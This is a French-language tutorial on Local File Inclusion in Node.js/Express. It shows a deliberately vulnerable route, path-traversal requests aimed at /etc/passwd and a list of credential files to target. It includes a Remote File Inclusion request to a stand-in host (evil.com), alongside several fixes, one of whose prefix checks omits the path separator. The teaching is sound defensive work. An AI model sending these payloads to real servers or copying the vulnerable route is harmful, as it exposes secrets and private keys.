Aller au contenu principal

Concept #038

Sécurité

La Faille LFI (Local File Inclusion)

#0385 min de lecture
  • sécurité
  • web
  • programmation
LFI : quand l'API ouvre la porte aux pirates

Qu'est-ce que le LFI ?

La faille LFI (Local File Inclusion) est une vulnérabilité qui survient lorsqu'un serveur charge ou inclut un fichier dont le chemin est partiellement ou totalement contrôlé par l'utilisateur, sans validation suffisante.

En clair : votre API accepte un nom de fichier en paramètre, et vous concaténez ce paramètre directement dans un fs.readFile() ou équivalent. Un attaquant peut alors fournir un chemin malveillant pour accéder à n'importe quel fichier accessible par le processus serveur — logs système, variables d'environnement, clés privées, fichiers de configuration…

C'est l'une des failles les plus sous-estimées du développement web, car elle ressemble à du code parfaitement fonctionnel. Jusqu'au jour où quelqu'un l'exploite.


Comment ça marche : le Path Traversal

Le vecteur d'attaque classique s'appelle le path traversal (ou directory traversal). Il repose sur la séquence ../ qui remonte d'un niveau dans l'arborescence du système de fichiers.

Imaginons une route qui sert des templates HTML depuis un dossier /app/templates/ :

GET /render?file=invoice.html

Le serveur va charger /app/templates/invoice.html. Jusque-là, rien d'anormal.

Maintenant, un attaquant envoie :

GET /render?file=../../etc/passwd

Le serveur reconstitue le chemin : /app/templates/../../etc/passwd, ce qui se résout en /etc/passwd. Le fichier des utilisateurs système est renvoyé en clair dans la réponse.

Sur un système Linux, les cibles privilégiées sont :

  • /etc/passwd — liste des utilisateurs
  • /etc/shadow — mots de passe hashés (si les permissions le permettent)
  • /proc/self/environ — variables d'environnement du processus (souvent remplies de secrets)
  • ~/.ssh/id_rsa — clé privée SSH
  • .env à la racine du projet — tokens API, identifiants de base de données

Exemple Node.js vulnérable

Voici une route Express typique, telle qu'on la voit trop souvent en production :

import express from "express";
import fs from "fs";
import path from "path";
 
const app = express();
const TEMPLATES_DIR = "/app/templates";
 
// VULNERABLE : le paramètre `file` n'est pas validé
app.get("/render", (req, res) => {
  const file = req.query.file;
  const filePath = path.join(TEMPLATES_DIR, file);
 
  fs.readFile(filePath, "utf8", (err, data) => {
    if (err) {
      return res.status(404).send("Fichier introuvable");
    }
    res.send(data);
  });
});

À première vue, path.join() semble protéger — il normalise les séparateurs. Mais il ne neutralise pas les séquences ../. Un appel avec file=../../etc/passwd produira le chemin /etc/passwd, lisible sans aucune restriction.


Comment se protéger

1. Utiliser une whitelist de fichiers autorisés

La défense la plus robuste : ne jamais utiliser l'entrée utilisateur comme chemin de fichier. Mappez les entrées vers des fichiers via un dictionnaire.

const ALLOWED_TEMPLATES = {
  invoice: "invoice.html",
  receipt: "receipt.html",
  welcome: "welcome.html",
};
 
app.get("/render", (req, res) => {
  const templateName = req.query.file;
  const fileName = ALLOWED_TEMPLATES[templateName];
 
  if (!fileName) {
    return res.status(400).send("Template inconnu");
  }
 
  const filePath = path.join(TEMPLATES_DIR, fileName);
  fs.readFile(filePath, "utf8", (err, data) => {
    if (err) return res.status(500).send("Erreur serveur");
    res.send(data);
  });
});

L'attaquant peut envoyer ce qu'il veut en paramètre : si ce n'est pas dans le dictionnaire, la requête est rejetée.

2. Vérifier que le chemin résolu reste dans le dossier autorisé

Si vous avez besoin d'accepter des noms de fichiers dynamiques, utilisez path.resolve() et vérifiez que le chemin final commence bien par le répertoire de base.

app.get("/render", (req, res) => {
  const file = req.query.file;
  const resolvedPath = path.resolve(TEMPLATES_DIR, file);
 
  // S'assurer que le chemin résolu est bien dans TEMPLATES_DIR
  if (!resolvedPath.startsWith(TEMPLATES_DIR + path.sep)) {
    return res.status(403).send("Accès refusé");
  }
 
  fs.readFile(resolvedPath, "utf8", (err, data) => {
    if (err) return res.status(404).send("Fichier introuvable");
    res.send(data);
  });
});

3. Ne jamais concaténer directement des chemins

Les concaténations de chaînes sont le chemin direct vers la faille :

// DANGEREUX
const filePath = TEMPLATES_DIR + "/" + req.query.file;
 
// MIEUX, mais pas suffisant seul
const filePath = path.join(TEMPLATES_DIR, req.query.file);
 
// CORRECT : résolution + vérification de confinement
const filePath = path.resolve(TEMPLATES_DIR, req.query.file);
if (!filePath.startsWith(TEMPLATES_DIR)) { /* rejeter */ }

4. Appliquer le principe du moindre privilège

Le processus Node.js ne doit avoir accès en lecture qu'aux répertoires dont il a strictement besoin. Un attaquant qui exploite un LFI ne pourra lire que les fichiers accessibles par ce processus. Réduire ses permissions limite drastiquement l'impact.


La variante RFI : Remote File Inclusion

Dans certains environnements (surtout PHP historiquement), la faille peut aller encore plus loin avec le RFI (Remote File Inclusion). Plutôt que de pointer vers un fichier local, l'attaquant fournit une URL externe :

GET /render?file=https://evil.com/malware.php

Si le serveur effectue une requête HTTP pour charger ce "fichier", il exécute du code arbitraire contrôlé par l'attaquant. En Node.js, cela arrive lorsqu'on utilise fetch ou axios pour charger du contenu dynamique sans valider l'origine.

Le RFI est moins courant en Node.js qu'en PHP, mais toute architecture qui télécharge et exécute du contenu distant doit être scrutée avec la même rigueur.


Bonnes pratiques en résumé

  • Jamais de chemin de fichier construit depuis une entrée utilisateur sans validation
  • Whitelist : préférer un mapping explicite entrée → fichier autorisé
  • path.resolve() + vérification de préfixe pour les cas dynamiques légitimes
  • Moindre privilège : le processus serveur ne lit que ce dont il a besoin
  • Logs et monitoring : détecter les séquences ../ dans les paramètres entrants
  • Tests de sécurité : intégrer des tests de path traversal dans votre CI (outils : OWASP ZAP, Burp Suite, ou des scripts personnalisés)

Le LFI est une faille d'inattention, pas de complexité. Un seul path.resolve() mal utilisé peut exposer l'intégralité de votre système de fichiers. La bonne nouvelle : elle est facile à corriger dès qu'on en comprend le mécanisme.